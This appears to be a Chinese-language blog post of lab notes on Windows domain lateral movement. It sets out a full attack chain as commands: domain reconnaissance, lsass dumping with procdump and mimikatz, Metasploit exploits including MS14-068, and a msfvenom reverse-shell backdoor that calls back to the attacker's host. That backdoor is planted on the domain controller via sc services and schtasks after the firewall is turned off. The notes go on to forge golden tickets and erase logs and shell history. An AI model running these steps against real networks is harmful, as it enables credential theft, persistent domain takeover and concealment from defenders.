发布于2022年10月15日3年前 横向移动 环境: win2008: ZJW2.com 192.168.227.140 win7: 192.168.227.141 kali: 192.168.227.129 概念: 城内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术, 尤其是在高级持续威胁(Advanced Persistent Threate APT)中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机.扩大 资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要 资产)。 通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统 的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击, 从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。 流程: 前提:获得域用户的会话 1. 信息收集 查询域的数量:net view /domain 查看主机数量:net view | net view /domain:域名 查看是否在域中:ipconfig /all 解析域控ip:nslookup 域名ping 域名 查看域用户组:net group /domain 查看域内时间:net time /domain 查询域控的账户信息:net user /domain 查看域控:net group "domain controllers" /domain 查看域内主机:net group "domain computers" /domain 查看域用户:net group "domain users" /domain 查看用户的sid:whoami /user 管理员sid:结尾是500,结尾1000+是普通用户,前面的那串是域id 扫描域用户主机端口开放 nmap IP -sSV -F -T4 基于PING命令的ICMP协议主机存活探测: for /L %i in (1,1,254) do @ping -w 1 -n 1 202.101.1.%i | findstr "TTL" systeminfo | find "KB" 查找是否打上对应的补丁信息 whoami /user 查看sid 获得权限后 存储lsass.exe中的密码:procdump -acceptela -ma lsass.exe lsass.dmp mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit 获取在这台计算机存储的域用户帐号密码 mimikatz.exe "privilege::debug" "sekurlsa::msv" exit 获取ntlm和lm msf中可以使用load kiwi载入kiwi模块调用creds_all命令获取帐号密码 2. 漏洞利用{永恒之蓝,ms18_8120} msf中search 漏洞编号 use 使用对应的漏洞 show options 显示参数信息 设置参数信息 run | exploit 执行 3. 提权 getsystem 万一成功了呢 getuid 查看是否提权成功 ps 查看进程准备做会话迁移 migrate pid 会话迁移 getpid 查看是否迁移成功 steal_token令牌盗用+查看sid rev2self 返回身份 4. 向域控提权{MS14-068} (1) 利用前面收集的域用户、域名、域用户SID、域控IP、域用户密码进行MS14-068漏洞的利用获取更改过的PAC的TGT ms14-068 -u 域用户名@域名 -s 域用户sid -d 域控ip -p 域用户密码 可以看到创建了.ccache文件 (2) 利用mimikatz清除票据 kerberos::purge 清除票据 或者在cmd直接使用klist purge (3) 利用mimikatz注入票据 kerberos::ptc [email protected] (4) 成功访问域控的c盘资源 这边不能跟ip,需要跟域控的主机名 5. *向域控植入后门 (1) 生成服务后门木马: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.227.129 lport=4444 -f exe-service -o shell.exe (2) 将木马上传到域用户(win7) (3) 将服务后门木马从win7上传到域控 前提是有访问域控的权限,做成功ms14-068或者黄金票据 copy 准备好的木马 \\域控主机名\c$ (4) 创建服务 给域控创建服务 注意:binpash=后面需要跟上个空格 ① 创建关闭防火墙的服务 sc \\zjw-server08 create cf binpath= "netsh advfirewall set allprofiles state off" ② 创建运行后门木马的服务 sc \\zjw-server08 create shell binpath= "c:\\shell.exe" (5) 运行服务 sc \\zjw-server08 start 创建服务的名称 ① 运行关闭防火墙的服务 sc \\zjw-server08 start cf 虽然这边报错了,但是还是给你关闭了防火墙 ② 运行后门木马的服务 成功反弹会话(这边需要先监听) (6) 计划任务 除了运用服务运行还能用计划任务运行 schtasks与at命令的区别:更方便创建,功能更多,并且可以主动运行计划任务。 ① 创建计划任务 schtasks /create /s zjw-server08 /tn shell /tr c:\\shell.exe /sc once /st 13:00 /ru system /f ② 运行计划任务 schtasks /run /tn shell /s zjw-server08 schtasks /create 创建任务 /tn :任务名称 /tr :任务运行的路径 /sc : 指定计划频率 /st :运行的时间 /ru :运行的权限 /s :远程的主机ip或者主机名 /run :运行 6. 获取域控交互权限 在执行服务或者计划任务后就能获得一个拥有权限的域控会话 use 3 进入会话,可以看到已经拥有权限了 7. 提权 一般计划任务和服务运行的木马都会有管理员权限 如果没有则使用提权步骤bypassusc或者ms18-8120漏洞等等 8. 信息搜集{账号密码信息、sid。。。} 伪造黄金凭据需要具备下面条件: krbtgt用户的hash(就意味着你已经有域控制器权限了) 域名称 域的SID值 要伪造的用户名 (1) hashdump获得krbtgt的ntlm hash (2) 令牌盗用后获得域名和域sid 9. 制作黄金票据 | 植入后门 cmd下制作黄金票据在day21中有,这用meterpreter制作黄金票据 (1) 载入kiwi模块 (2) 生成黄金票据 golden_ticket_create -u Administrator -d 域名 -s S-1-5-21-792999653-2678420337-3976732325 -k krbtgt-ntlm-hash -t gold.tck 票据会生成在你kali上 (3) 切换到域用户win7上准备测试 (4) 清空票据 kerberos_ticket_purge (5) 注入黄金票据 (6) 成功访问域控资源 10. 痕迹清除 meterpreter输入clearev清除痕迹 linux下 清理命令记录: (1)仅清理当前用户: history -c (2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0 (3)删除记录 删除登录失败记录:echo > /var/log/btmp 删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录) 删除日志记录:echo > /var/log/secure
创建帐户或登录后发表意见